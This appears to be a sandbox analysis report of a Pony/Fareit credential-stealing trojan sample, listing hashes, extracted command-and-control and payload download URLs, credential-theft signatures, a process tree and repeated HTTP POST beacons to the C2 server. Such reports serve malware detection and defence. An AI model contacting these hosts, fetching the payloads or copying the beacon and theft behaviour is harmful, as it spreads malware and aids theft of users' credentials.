Analysis

  • max time kernel
    132s
  • max time network
    142s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-09-2024 21:09

General

  • Target

    ee6dc95818f9349fd4998dc4a4124e7b_JaffaCakes118.exe

  • Size

    114KB

  • MD5

    ee6dc95818f9349fd4998dc4a4124e7b

  • SHA1

    3f5248a99318e4251302bac6d5c9504e55631836

  • SHA256

    cb1facefebc038bac79ea2a13596381750a70a55325084040aa5a84bb59dc9c8

  • SHA512

    8f3af3efe471b905b5ce333f81c275514471596f873f17ed5f5fa94da4cd3aa06604b938944256a86c9f35040b1b16e5e5c2d03a6a580f41677e09ee920414c6

  • SSDEEP

    3072:yGYTKQEFO0cKVUrqZ/KwsD8PEyPQmwDRE6TUbBLlR9:yRTzgoqcwq8iyTBZR

Malware Config

Extracted

Family

pony

C2

http://212.58.20.11/forum/viewtopic.php

http://69.164.220.104:8080/forum/viewtopic.php

Attributes
  • payload_url

    http://www.impresabonincontro.it/5vEv8Q.exe

    http://autostate.net/GBV2bs.exe

    http://oficecleaningsydney.com.au/KzAh.exe

Signatures

  • Pony,Fareit

    Pony is a Remote Access Trojan application that steals information.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ee6dc95818f9349fd4998dc4a4124e7b_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\ee6dc95818f9349fd4998dc4a4124e7b_JaffaCakes118.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2160
    • C:\Users\Admin\AppData\Local\Temp\ee6dc95818f9349fd4998dc4a4124e7b_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\ee6dc95818f9349fd4998dc4a4124e7b_JaffaCakes118.exe"
      2⤵
      • Accesses Microsoft Outlook accounts
      • Accesses Microsoft Outlook profiles
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • outlook_win_path
      PID:1732

Network

  • flag-tr
    POST
    http://212.58.20.11/forum/viewtopic.php
    ee6dc95818f9349fd4998dc4a4124e7b_JaffaCakes118.exe
    Remote address:
    212.58.20.11:80
    Request
    POST /forum/viewtopic.php HTTP/1.0
    Host: 212.58.20.11
    Accept: */*
    Accept-Encoding: identity, *;q=0
    Content-Length: 194
    Connection: close
    Content-Type: application/octet-stream
    Content-Encoding: binary
    User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
  • flag-tr
    POST
    http://212.58.20.11/forum/viewtopic.php
    ee6dc95818f9349fd4998dc4a4124e7b_JaffaCakes118.exe
    Remote address:
    212.58.20.11:80
    Request
    POST /forum/viewtopic.php HTTP/1.0
    Host: 212.58.20.11
    Accept: */*
    Accept-Encoding: identity, *;q=0
    Content-Length: 194
    Connection: close
    Content-Type: application/octet-stream
    Content-Encoding: binary
    User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
  • flag-tr
    POST
    http://212.58.20.11/forum/viewtopic.php
    ee6dc95818f9349fd4998dc4a4124e7b_JaffaCakes118.exe
    Remote address:
    212.58.20.11:80
    Request
    POST /forum/viewtopic.php HTTP/1.0
    Host: 212.58.20.11
    Accept: */*
    Accept-Encoding: identity, *;q=0
    Content-Length: 194
    Connection: close
    Content-Type: application/octet-stream
    Content-Encoding: binary
    User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
  • flag-tr
    POST
    http://212.58.20.11/forum/viewtopic.php
    ee6dc95818f9349fd4998dc4a4124e7b_JaffaCakes118.exe
    Remote address:
    212.58.20.11:80
    Request
    POST /forum/viewtopic.php HTTP/1.0
    Host: 212.58.20.11
    Accept: */*
    Accept-Encoding: identity, *;q=0
    Content-Length: 194
    Connection: close
    Content-Type: application/octet-stream
    Content-Encoding: binary
    User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
  • flag-tr
    POST
    http://212.58.20.11/forum/viewtopic.php
    ee6dc95818f9349fd4998dc4a4124e7b_JaffaCakes118.exe
    Remote address:
    212.58.20.11:80
    Request
    POST /forum/viewtopic.php HTTP/1.0
    Host: 212.58.20.11
    Accept: */*
    Accept-Encoding: identity, *;q=0
    Content-Length: 194
    Connection: close
    Content-Type: application/octet-stream
    Content-Encoding: binary
    User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
  • flag-tr
    POST
    http://212.58.20.11/forum/viewtopic.php
    ee6dc95818f9349fd4998dc4a4124e7b_JaffaCakes118.exe
    Remote address:
    212.58.20.11:80
    Request
    POST /forum/viewtopic.php HTTP/1.0
    Host: 212.58.20.11
    Accept: */*
    Accept-Encoding: identity, *;q=0
    Content-Length: 194
    Connection: close
    Content-Type: application/octet-stream
    Content-Encoding: binary
    User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
  • 212.58.20.11:80
    http://212.58.20.11/forum/viewtopic.php
    http
    ee6dc95818f9349fd4998dc4a4124e7b_JaffaCakes118.exe
    4.0kB
    52 B
    11
    1

    HTTP Request

    POST http://212.58.20.11/forum/viewtopic.php
  • 212.58.20.11:80
    http://212.58.20.11/forum/viewtopic.php
    http
    ee6dc95818f9349fd4998dc4a4124e7b_JaffaCakes118.exe
    3.0kB
    48 B
    9
    1

    HTTP Request

    POST http://212.58.20.11/forum/viewtopic.php
  • 212.58.20.11:80
    http://212.58.20.11/forum/viewtopic.php
    http
    ee6dc95818f9349fd4998dc4a4124e7b_JaffaCakes118.exe
    3.0kB
    52 B
    9
    1

    HTTP Request

    POST http://212.58.20.11/forum/viewtopic.php
  • 212.58.20.11:80
    http://212.58.20.11/forum/viewtopic.php
    http
    ee6dc95818f9349fd4998dc4a4124e7b_JaffaCakes118.exe
    3.0kB
    48 B
    9
    1

    HTTP Request

    POST http://212.58.20.11/forum/viewtopic.php
  • 212.58.20.11:80
    http://212.58.20.11/forum/viewtopic.php
    http
    ee6dc95818f9349fd4998dc4a4124e7b_JaffaCakes118.exe
    3.0kB
    52 B
    9
    1

    HTTP Request

    POST http://212.58.20.11/forum/viewtopic.php
  • 212.58.20.11:80
    http://212.58.20.11/forum/viewtopic.php
    http
    ee6dc95818f9349fd4998dc4a4124e7b_JaffaCakes118.exe
    2.9kB
    48 B
    8
    1

    HTTP Request

    POST http://212.58.20.11/forum/viewtopic.php
No results found

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1732-8-0x0000000000400000-0x0000000000419000-memory.dmp

    Filesize

    100KB

  • memory/1732-6-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/1732-5-0x0000000000400000-0x0000000000419000-memory.dmp

    Filesize

    100KB

  • memory/1732-4-0x0000000000400000-0x0000000000419000-memory.dmp

    Filesize

    100KB

  • memory/1732-3-0x0000000000400000-0x0000000000419000-memory.dmp

    Filesize

    100KB

  • memory/1732-2-0x0000000000400000-0x0000000000419000-memory.dmp

    Filesize

    100KB

  • memory/1732-12-0x0000000000400000-0x0000000000419000-memory.dmp

    Filesize

    100KB

  • memory/1732-13-0x0000000000400000-0x0000000000419000-memory.dmp

    Filesize

    100KB

  • memory/2160-0-0x0000000000A60000-0x0000000000A80000-memory.dmp

    Filesize

    128KB

  • memory/2160-1-0x00000000001B0000-0x00000000001D0000-memory.dmp

    Filesize

    128KB

  • memory/2160-11-0x0000000000A60000-0x0000000000A80000-memory.dmp

    Filesize

    128KB

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.